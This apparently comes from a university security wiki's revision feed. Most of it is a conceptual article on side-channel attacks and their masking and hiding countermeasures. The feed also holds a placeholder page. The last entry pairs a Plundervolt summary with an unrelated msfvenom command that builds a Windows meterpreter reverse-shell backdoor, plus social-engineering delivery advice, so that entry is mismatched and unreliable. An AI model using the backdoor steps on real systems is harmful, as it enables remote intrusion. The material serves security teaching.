The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is &amp;quot;stolen&amp;quot; from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.&amp;lt;ref name=&amp;quot;7522801&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.&lt;br /&gt;
&lt;br /&gt;
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;: &lt;br /&gt;
* Masking&lt;br /&gt;
* Hiding&lt;br /&gt;
&lt;br /&gt;
=== Masking ===&lt;br /&gt;
&lt;br /&gt;
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hiding ===&lt;br /&gt;
&lt;br /&gt;
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:&lt;br /&gt;
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and &lt;br /&gt;
* making side channel signals the same (for all operations and data values).&lt;br /&gt;
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;BT19&amp;quot;&amp;gt;Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CRR03&amp;quot;&amp;gt;Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Pop09&amp;quot;&amp;gt;T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Mai12&amp;quot;&amp;gt;Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CPA&amp;quot;&amp;gt;https://cryptography.gmu.edu/documentation/fobos/cpa.html&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8933</id>
		<title>Side Channel Attacks</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8933"/>
		<updated>2021-12-21T18:59:30Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* Types of Side Channel Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Classical cryptanalytic attacks&#039;&#039;&#039; analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called &#039;&#039;&#039;implementation attack&#039;&#039;&#039; (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.&lt;br /&gt;
&lt;br /&gt;
There are two types of implementation attack classifications. First the classification in &#039;&#039;&#039;active&#039;&#039;&#039; (device or environment is changed so that the device shows unnatural behavior) and &#039;&#039;&#039;passive&#039;&#039;&#039; (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are &#039;&#039;&#039;non-invasive&#039;&#039;&#039; (only information from directly accessible interfaces is used), &#039;&#039;&#039;semi-invasive&#039;&#039;&#039; (modification of the device, but only the outer layers) or &#039;&#039;&#039;invasive&#039;&#039;&#039; (manipulation of the device in every possible way).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are classified as &#039;&#039;&#039;passive&#039;&#039;&#039; and &#039;&#039;&#039;non-invasive&#039;&#039;&#039; implementation attacks.&lt;br /&gt;
&lt;br /&gt;
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Side channels.PNG|500px]]&amp;lt;ref name=&amp;quot;Mai12&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Types of Side Channel Attacks ==&lt;br /&gt;
&lt;br /&gt;
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;: &lt;br /&gt;
# Timing Attacks&lt;br /&gt;
# Electromagnetic Attacks &lt;br /&gt;
# Power-Monitoring Attacks&lt;br /&gt;
# Fault-Injection Attacks &lt;br /&gt;
&lt;br /&gt;
=== Timing Attacks ===&lt;br /&gt;
&lt;br /&gt;
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. &amp;lt;br/&amp;gt;&lt;br /&gt;
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Cache-Timing Analysis ====&lt;br /&gt;
&lt;br /&gt;
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process&#039;s cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:&lt;br /&gt;
* cache hit (the data requested by the processor is available in the cache) and &lt;br /&gt;
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).&lt;br /&gt;
&lt;br /&gt;
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt; &amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Cache Timing Attack.PNG|600px]]&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Attacks ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
* Simple Electromagnetic Analysis and &lt;br /&gt;
* Differential Electromagnetic Analysis.&lt;br /&gt;
&lt;br /&gt;
==== Simple Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Power-monitoring Attacks ===&lt;br /&gt;
&lt;br /&gt;
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.&lt;br /&gt;
&lt;br /&gt;
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.&lt;br /&gt;
&lt;br /&gt;
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. &amp;lt;br/&amp;gt;&lt;br /&gt;
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.&lt;br /&gt;
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Correlation Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Correlation Power Analysis.PNG|350px]]&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Template Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;CRR03&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fault-Injection Attacks ===&lt;br /&gt;
The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is &amp;quot;stolen&amp;quot; from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation. &lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.&lt;br /&gt;
&lt;br /&gt;
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;: &lt;br /&gt;
* Masking&lt;br /&gt;
* Hiding&lt;br /&gt;
&lt;br /&gt;
=== Masking ===&lt;br /&gt;
&lt;br /&gt;
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hiding ===&lt;br /&gt;
&lt;br /&gt;
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:&lt;br /&gt;
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and &lt;br /&gt;
* making side channel signals the same (for all operations and data values).&lt;br /&gt;
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;BT19&amp;quot;&amp;gt;Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CRR03&amp;quot;&amp;gt;Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Pop09&amp;quot;&amp;gt;T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Mai12&amp;quot;&amp;gt;Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CPA&amp;quot;&amp;gt;https://cryptography.gmu.edu/documentation/fobos/cpa.html&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8228</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8228"/>
		<updated>2021-12-16T18:44:29Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: Created page with &amp;quot;== Summary ==   Description what this documentation is about.  == Requirements ==  * Operating system: Ubuntu 18.04 bionic amd64 * Packages: git emacs  In order to complete th...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Description what this documentation is about.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages: git emacs&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Some Other Documentation]] before.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=PandwaRF&amp;diff=8227</id>
		<title>PandwaRF</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=PandwaRF&amp;diff=8227"/>
		<updated>2021-12-16T18:36:53Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
This documentation describes how the Plundervolt attack works. It describes the requirements, the functionality and the countermeasures. Plundervolt is a fault injection attack that deprives an Intel chip of power in order to create faults, which can be used to gain access to sensitive data and weaken the overall Intel chip security. &lt;br /&gt;
== Introduction ==&lt;br /&gt;
MSFvenom is an easily manageable framework that can be used to quickly create Metasploit payloads.&lt;br /&gt;
== Requirements ==&lt;br /&gt;
Devices: 2 devices --&amp;gt; 1 running Kali Linux (attacker) and 1 running Windows 7 (victim)&lt;br /&gt;
&lt;br /&gt;
== Exploit ==&lt;br /&gt;
1. On Kali Linux we will open up a new shell and create a reverse TCP payload with the help of MSFvenom in one single line:&lt;br /&gt;
&#039;&#039;&#039;msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.134 LPORT=6565 -f exe -o backdoor.exe.&#039;&#039;&#039;&lt;br /&gt;
With &#039;&#039;&#039;-p&#039;&#039;&#039; we specify which type of payload we want to create, &#039;&#039;&#039;LHOST&#039;&#039;&#039; and &#039;&#039;&#039;LPORT&#039;&#039;&#039; are basically the IP address and the port that we will open for our victim to connect to. &#039;&#039;&#039;-f exe&#039;&#039;&#039; specifies that the created payload is an executable file and &#039;&#039;&#039;-o&#039;&#039;&#039; specifies the name under which the file should be saved.&lt;br /&gt;
&lt;br /&gt;
2. The next step is the hardest challenge and that would be to transfer the backdoor to the victim machine. This can be done in many ways (most often it is done by different social engineering toolkits) but for the sake of simplicity, you can use a USB.&lt;br /&gt;
&lt;br /&gt;
3. Before executing the backdoor file on the victim machine, we need to setup a listener that will listen for connections on a particular port. We will use metasploit to create the listener just like on the photo.&lt;br /&gt;
[[File:1.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
https://blog.attify.com/hack-iot-devices-embedded-exploitation/&lt;br /&gt;
&lt;br /&gt;
https://blog.attify.com/hack-iot-device/&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
</feed>